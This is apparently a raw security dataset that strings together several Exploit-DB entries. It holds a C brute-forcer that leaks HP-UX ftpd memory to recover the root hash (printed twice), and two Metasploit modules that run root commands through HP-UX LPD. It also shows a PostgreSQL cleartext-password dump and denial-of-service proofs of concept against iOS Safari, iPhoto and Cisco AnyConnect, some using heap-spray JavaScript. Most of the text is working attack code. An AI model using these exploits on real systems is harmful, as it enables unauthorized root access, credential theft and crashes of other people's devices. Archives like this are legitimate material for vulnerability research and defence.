deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22733
Description: HP-UX FTPD 1.1.214.4 - 'REST' Memory Disclosure
Type: remote
Platform: hp-ux
Date: 2003-06-05
Author: di0aD

Exploit:
// source: https://www.securityfocus.com/bid/7825/info

A vulnerability has been discovered in the HP-UX 11 ftpd daemon. The problem can be triggered using the FTP REST command. By specifying a specially calculated numeric argument to the command, it is possible to disclose the contents of that numeric location in process memory. This issue may be exploited to disclose the contents of sensitive files, such as /etc/passwd. 

/*
   DeepMagic - There be some Deep Magic brewin...
   http://www.deep-magic.org/
   http://www.deepmagic.us/
   http://www.deepmagic.info/
   http://www.deepmagic.name/
http://www.deepmagic.org is down atm untill opensrs/tucows
restores the domain to the proper owner.
DMhpux FTPd REST bug brute forcer
brought to you by di0aD

mad props to the media hoar phased aka Mister-X aka
MisterX aka Matt Carrol of the UK for giving
the purfekt bl0w j0b.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[]) {

  int sock, rc;
  long int i;
  struct sockaddr_in saddr;
  struct hostent *h;
  char buf[256];

  printf("DMhpux FTPd - REST bug brute forcer\n");
  printf("by di0aD\n");

  if(argc < 2) {
    printf("usage: %s <host> -- simple enough?\n",argv[0]);
    exit(1);
  }
  h = gethostbyname(argv[1]);
  if(h==NULL) {
    printf("%s: unknown host '%s'\n",argv[0],argv[1]);
    exit(1);
  }

  saddr.sin_family = h->h_addrtype;
  memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  saddr.sin_port = htons(21);

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock<0) {
    perror("cannot open socket ");
    exit(1);
  }

  rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
  if(rc<0) {
    perror("cannot connect ");
    exit(1);
  }

  printf("Sending false login credentials\n");
 snprintf(buf, sizeof(buf), "USER root\r\n");
  printf("sending %s\n", buf);
  rc = send(sock, buf, strlen(buf), 0);
  if(rc<0) {
        perror("cannot send data ");
        close(sock);
        exit(0);
  }
  dorecv(sock);
        usleep(1000);
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "PASS foo\r\n");
  printf("sending %s\n", buf);
  rc = send(sock, buf, strlen(buf), 0);
usleep(1000);
  dorecv(sock);
  dorecv(sock);

  for(i=[PII_REDACTED];i<=[PII_REDACTED];i = i+10) {
        snprintf(buf, sizeof(buf), "REST %d\r\n", i);
        printf("sending %s\n", buf);
        send(sock, buf, strlen(buf), 0);
        dorecv(sock);
 }


return 0;

}

int dorecv(int sock) {
char buf[256];
char *check;

memset(buf, 0, sizeof(buf));
recv(sock, buf, sizeof(buf), 0);
printf("got: %s\n", buf);
check = (char *)strstr(buf, "root");
if(check != NULL) {
        printf("Got root hash\n");
}

}


// it takes two to tango
Exploit-DB #977
Description: HP-UX FTPD 1.1.214.4 - 'REST' Remote Brute Force
Type: remote
Platform: hp-ux
Date: 2005-05-03
Author: phased

Exploit:
/* 
Author: phased

/str0ke
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[]) {

  int sock, rc;
  long int i;
  struct sockaddr_in saddr;
  struct hostent *h;
  char buf[256];

  printf("DMhpux FTPd - REST bug brute forcer\n");
  printf("by phased\n");

  if(argc < 2) {
    printf("usage: %s <host> -- simple enough?\n",argv[0]);
    exit(1);
  }
  h = gethostbyname(argv[1]);
  if(h==NULL) {
    printf("%s: unknown host '%s'\n",argv[0],argv[1]);
    exit(1);
  }

  saddr.sin_family = h->h_addrtype;
  memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  saddr.sin_port = htons(21);

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock<0) {
    perror("cannot open socket ");
    exit(1);
  }

  rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
  if(rc<0) {
    perror("cannot connect ");
    exit(1);
  }

  printf("Sending false login credentials\n");
 snprintf(buf, sizeof(buf), "USER root\r\n");
  printf("sending %s\n", buf);
  rc = send(sock, buf, strlen(buf), 0);
  if(rc<0) {
        perror("cannot send data ");
        close(sock);
        exit(0);
  }
  dorecv(sock);
	usleep(1000);
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "PASS foo\r\n");
  printf("sending %s\n", buf);
  rc = send(sock, buf, strlen(buf), 0);
usleep(1000);
  dorecv(sock);
  dorecv(sock);

  for(i=[PII_REDACTED];i<=[PII_REDACTED];i = i+10) {
        snprintf(buf, sizeof(buf), "REST %d\r\n", i);
        printf("sending %s\n", buf);
        send(sock, buf, strlen(buf), 0);
        dorecv(sock);
 }


return 0;

}

int dorecv(int sock) {
char buf[256];
char *check;

memset(buf, 0, sizeof(buf));
recv(sock, buf, sizeof(buf), 0);
printf("got: %s\n", buf);
check = (char *)strstr(buf, "root");
if(check != NULL) {
        printf("Got root hash\n");
}

}

// milw0rm.com [2005-05-03]
Exploit-DB #16927
Description: HP-UX LPD - Command Execution (Metasploit)
Type: remote
Platform: hp-ux
Date: 2010-10-06
Author: Metasploit

Exploit:
##
# $Id: cleanup_exec.rb 10561 2010-10-06 00:53:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP-UX LPD Command Execution',
			'Description'    => %q{
					This exploit abuses an unpublished vulnerability in the
				HP-UX LPD service. This flaw allows an unauthenticated
				attacker to execute arbitrary commands with the privileges
				of the root user. The LPD service is only exploitable when
				the address of the attacking system can be resolved by the
				target. This vulnerability was silently patched with the
				buffer overflow flaws addressed in HP Security Bulletin
				HPSBUX0208-213.
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision: 10561 $',
			'References'     =>
				[
					[ 'CVE', '2002-1473'],
					[ 'OSVDB', '9638'],
					[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

				],
			'Platform'       => [ 'unix', 'hpux' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 200,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x20\x2f",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 28 2002'
		))

		register_options(
			[
				Opt::RPORT(515)
			], self.class)
	end

	def exploit

		# The job ID is squashed down to three decimal digits
		jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

		# Connect to the LPD service
		connect

		print_status("Sending our job request with embedded command string...")
		# Send the job request with the encoded command
		sock.put(
			"\x02" + rand_text_alphanumeric(3) + jid +
			"`" + payload.encoded + "`\n"
		)

		res = sock.get_once(1)
		if !(res and res[0,1] == "\x00")
			print_status("The target did not accept our job request")
			return
		end

		print_status("Sending our fake control file...")
		sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
		res = sock.get_once(1)
		if !(res and res[0,1] == "\x00")
			print_status("The target did not accept our control file")
			return
		end

		print_status("Forcing an error and hijacking the cleanup routine...")

		begin
			sock.put(rand_text_alphanumeric(16384))
			disconnect
		rescue
		end

	end

end
Exploit-DB #10034
Description: HP-UX LPD 10.20/11.00/11.11 - Command Execution (Metasploit)
Type: remote
Platform: hp-ux
Date: 2002-08-28
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'HP-UX LPD Command Execution',
			'Description'    => %q{
				This exploit abuses an unpublished vulnerability in the
				HP-UX LPD service. This flaw allows an unauthenticated
				attacker to execute arbitrary commands with the privileges
				of the root user. The LPD service is only exploitable when
				the address of the attacking system can be resolved by the
				target. This vulnerability was silently patched with the
				buffer overflow flaws addressed in HP Security Bulletin
				HPSBUX0208-213.
					
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2002-1473'],
					[ 'OSVDB', '9638'],
					[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

				],
			'Platform'       => ['unix', 'hpux'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 200,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x20\x2f",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},			
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(515)
				], self.class)
	end

	def exploit

		# The job ID is squashed down to three decimal digits
		jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

		# Connect to the LPD service
		connect
		
		print_status("Sending our job request with embedded command string...")
		# Send the job request with the encoded command
		sock.put(
			"\x02" + rand_text_alphanumeric(3) + jid +
			"`" + payload.encoded + "`\n"
		)
		
		res = sock.get_once(1)
		if (res[0] != 0)
			print_status("The target did not accept our job request")
			return
		end

		print_status("Sending our fake control file...")		
		sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
		res = sock.get_once(1)
		if (res[0] != 0)
			print_status("The target did not accept our control file")
			return
		end
		
		print_status("Forcing an error and hijacking the cleanup routine...")
		
		begin
			sock.put(rand_text_alphanumeric(16384))
			disconnect
		rescue
		end
		
	end

end
Exploit-DB #19875
Description: PostgreSQL 6.3.2/6.5.3 - Cleartext Passwords
Type: local
Platform: immunix
Date: 2000-04-23
Author: Robert van der Meulen

Exploit:
source: https://www.securityfocus.com/bid/1139/info

PostgreSQL is a free RDBMS that is released under a Berkeley style license. PostgreSQL stores passwords for database users in a binary file called pg_shadow. This file is readable by root and the postgres user. Unfortunately, these passwords are stored in cleartext form and can be obtained if a user with read access to the file runs strings on it. While this is only readable by root and the postgres user (by default), it allows either one (or whoever else has read access to the file) to get the passwords for all databases and bypass authentication completely.


SmellyCat:/var/postgres/data# strings pg_shadow
someaccountname
someaccountpassword
anotheraccountname
anotheraccountpassword
SmellyCat:/var/postgres/data#
Exploit-DB #45649
Description: Apple iOS - Kernel Stack Memory Disclosure due to Failure to Check copyin Return Value
Type: dos
Platform: ios
Date: 2018-10-22
Author: Google Security Research

Exploit:
Here's a code snippet from sleh.c with the second level exception handler for undefined instruction exceptions:

 static void
 handle_uncategorized(arm_saved_state_t *state, boolean_t instrLen2)
 {
   exception_type_t       exception = EXC_BAD_INSTRUCTION;
   mach_exception_data_type_t   codes[2] = {EXC_ARM_UNDEFINED};
   mach_msg_type_number_t     numcodes = 2;
   uint32_t          instr;   <------ (a)
 
   if (instrLen2) {
     uint16_t  instr16;
     COPYIN(get_saved_state_pc(state), (char *)&instr16, sizeof(instr16));
 
     instr = instr16;
   } else {
     COPYIN(get_saved_state_pc(state), (char *)&instr, sizeof(instr));  <------- (b)
   }
 
 ....
 
  else {
   codes[1] = instr;   <------ (c)
  }
 }
 
 exception_triage(exception, codes, numcodes);  <-------- (d)
 
 
 At (a) the uint32_t instr is declared uninitialized on the stack.
 At (b) the code tries to copyin the bytes of the exception-causing instruction from userspace
   note that the COPYIN macro doesn't itself check the return value of copyin, it just calls it.
 At (c) instr is assigned to codes[1], which at (d) is passed to exception_triage.
 
 that codes array will eventually end up being sent in an exception mach message.
 
 The bug is that we can force copyin to fail by unmapping the page containing the undefined instruction
 while it's being handled. (I tried to do this with XO memory but the kernel seems to be able to copyin that just fine.)
 
 This PoC has an undefined instruction (0xdeadbeef) on its own page and spins up a thread to keep
 switching the protection of that page between VM_PROT_NONE and VM_PROT_READ|VM_PROT_EXECUTE.
 
 We then keep spinning up threads which try to execute that undefined instruction.
 
 If the race windows align the thread executes the undefined instruction but when the sleh code tries to copyin
 the page is unmapped, the copying fails and the exception message we get has stale stack memory.
 
 This PoC just demonstrates that you do get values which aren't 0xdeadbeef in there for the EXC_ARM_UNDEFINED type.
 You'd have to do a bit more fiddling to work out how to get something specific there.
 
 Note that there are lots of other unchecked COPYIN's in sleh.c (eg when userspace tries to access a system register not allowed
 for EL0) and these seem to have the same issue.
 
 tested on iPod Touch 6g running 11.3.1, but looking at the kernelcache it seems to still be there in iOS 12.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45649.zip
Exploit-DB #5151
Description: Apple iOS 4.0.3 - DPAP Server Denial of Service
Type: dos
Platform: ios
Date: 2008-02-18
Author: David Wharton

Exploit:
#!/usr/bin/perl
# crash the iPhoto DPAP (Digital Photo Access Protocol) Server on  
iPhoto 4.0.3
# technically the server exits cleanly but it does not restart

use IO::Socket::INET;

die "Usage $0 <target_ip>\n" unless ($ARGV[0]);

$| = 1;

if ($ARGV[1]) {
     $port = $ARGV[1];
} else {
     $port = 8770;
}

$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[0],
                                   PeerPort=>$port,
                                   Proto=>'tcp');

if ($socket == NULL) {
    die "Cannot connect to $ARGV[0] on port $port\n";
}


$malformed_data = "AAAAAAAAAAAAAAA";
#$malformed_data = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n";
$count = 0;

$msg="GET dpap://$malformed_data HTTP/1.1\r\n\r\n";
print "Sending message:\n$msg\n";
$socket->send($msg);
$socket->close();
sleep(1);
$cont = 1;

# this loop is unnecessary but who cares
while ($cont && $count < 11) {
     $socket2 = new IO::Socket::INET->new(PeerAddr=>$ARGV[0],  
PeerPort=>$port, Proto=>'tcp');
     if ($socket2 == NULL) {
         $cont = 0;
         print "crash\n";
     } else {
         print ".";
	# next line not necessary but does the job too
	$malformed_data = $malformed_data.$malformed_data;
         $msg="GET dpap://$malformed_data HTTP/1.1\r\n\r\n";
         $socket2->send($msg);
         $count++;
         $socket2->close();
         sleep(1);
     }
}

if ($count < 10) {
     print "iPhotoDPAPServer on $ARGV[0] has been pwn3d\n";
} else {
     print "Unable to crash iPhotoDPAPServer on $ARGV[0]\n";
}

# milw0rm.com [2008-02-18]
Exploit-DB #18931
Description: Apple iOS 5.1.1 Safari Browser - 'JS match()' / 'search()' Crash (PoC)
Type: dos
Platform: ios
Date: 2012-05-25
Author: Alberto Ortega

Exploit:
#!/usr/bin/env ruby

# - Title
# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net

# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
<html>\n\
<head><title>Crash PoC</title></head>\n\
<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
s.match(\"#{chr*buffer_len}\");\n\
</script>\n\
</html>";

def help()
	puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
	puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
	op.on("-h", "--host HOST") do |p|
		opts["host"] = p
	end
	op.on("-p", "--port PORT") do |p|
		opts["port"] = p
	end
	op.on("-v", "--verbose") do |p|
		opts["verbose"] = true
	end
end

begin
	optparser.parse!
rescue
	help()
	exit 1
end

if (opts.length == 0 || opts["port"] == nil)
	help()
	exit 1
end

if (opts["verbose"] != nil)
	debug = true
else
	debug = false
end
if (opts["host"] != nil)
	host = opts["host"]
else
	host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
	puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
	serv = TCPServer.new(host, port)
	puts "Listening on #{host}:#{port.to_s} ..."
rescue
	puts "Error listening on #{host}:#{port.to_s}"
	exit 1
end

begin
	s = serv.accept()
	if debug
		puts "Client connected, waiting petition ..."
	end
	data = s.recv(1000)
	if debug
		puts "Sending crafted packet ..."
	end
	s.print(body)
	if debug
		puts "Closing connection ..."
	end
	s.close()
	puts "Done!"
rescue
	puts "Error sending data"
	exit 1
end
Exploit-DB #31057
Description: Apple iOS Mobile Safari - Memory Exhaustion Remote Denial of Service
Type: dos
Platform: ios
Date: 2008-01-24
Author: fuzion

Exploit:
source: https://www.securityfocus.com/bid/27442/info

Apple iPhone is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue by enticing an unsuspecting user to view a maliciously crafted webpage. Successful attacks cause a kernel panic, crashing the device. Given the nature of this issue, remote code execution may also be possible, but this has not been confirmed.

iPhone 1.1.2 and 1.1.3 are affected; other versions may also be vulnerable. 

<html><body><script> function Demo() { var shellcode; var addr; var fill; alert('attempting a crash!'); shellcode = unescape('%u0c0c'); fill = unescape('%ucccc'); addr = 0x02020202; var b = fill; while (b.length <= 0x40000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } } </script> <input type='button' onClick='Demo()' value='Go!'> </body></html>
Exploit-DB #11891
Description: Apple iOS Safari - Remote Denial of Service
Type: dos
Platform: ios
Date: 2010-03-26
Author: Nishant Das Patnaik

Exploit:
# Exploit Title: Remote DoS on Safari for iPhone & iPod Touch

# Date: 26/03/2010

# Author: Nishant Das Patnaik
# For more of Nishant's research, please visit:
# http://nishantdaspatnaik.yolasite.com/research.php

# Tested on: iPod Touch 3G (iPhone OS 3.1.3)

# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device.
 
# Code:

---------PoC STARTS HERE----------------

<html>
<title> Remote DoS on Safari for iPhone & iPod Touch </title>
<body>
<script language="JavaScript">
var size="%u03e8";
var matrix = new Array();
var slope = 0x100000-(size.length*2+0x01020);
var bomb = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
while(bomb.length<slope/2) { bomb+=bomb;}
var lh = bomb.substring(0,slope/2);
delete bomb;
for(i=0; i<0xC0; i++) {
matrix[i] = lh + size;
}
CollectGarbage();
var slope1=unescape("%u0b0b%u0b0b%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000AAAAAAAAAAAAAAAAAAAAAAAAA");
var matrix1 = new Array();
for(var x=0;x<1000;x++) matrix1.push(document.createElement("img"));
function ready() {
out1=document.createElement("tbody");
out1.click;
var out2 = out1.cloneNode(); 
out11.clearAttributes();
out1=null; CollectGarbage();
for(var x=0;x<matrix1.length;x++) matrix1[x].src=slope1;
out2.click;
}
</script>
<script>window.setTimeout("ready();",800);</script>
<center>
<h1> Remote DoS on Safari for iPhone & iPod Touch </h1>
<h2> (C) Nishant Das Patnaik </h2>
</center>
</body>
</html>

---------POC ENDS HERE----------------
Exploit-DB #45297
Description: Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)
Type: dos
Platform: ios
Date: 2018-08-29
Author: Luis Martínez

Exploit:
# Exploit Title: Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-29
# Vendor Homepage: https://www.cisco.com/
# Software Link: App Store for iOS devices
# Tested Version: 4.6.01099
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 11.4.1

# Steps to Produce the Crash:
# 1.- Run python code: Cisco_AnyConnect_Secure_Mobility_Client_4.6.01099.py
# 2.- Copy content to clipboard
# 3.- Open App Cisco AnyConnect Secure Mobility Client
# 4.- Diagnosticos
# 5.- Certificados
# 6.- Importar certificado de usuario...
# 7.- Paste ClipBoard on "Introducir URL"
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 12380000
print (buffer)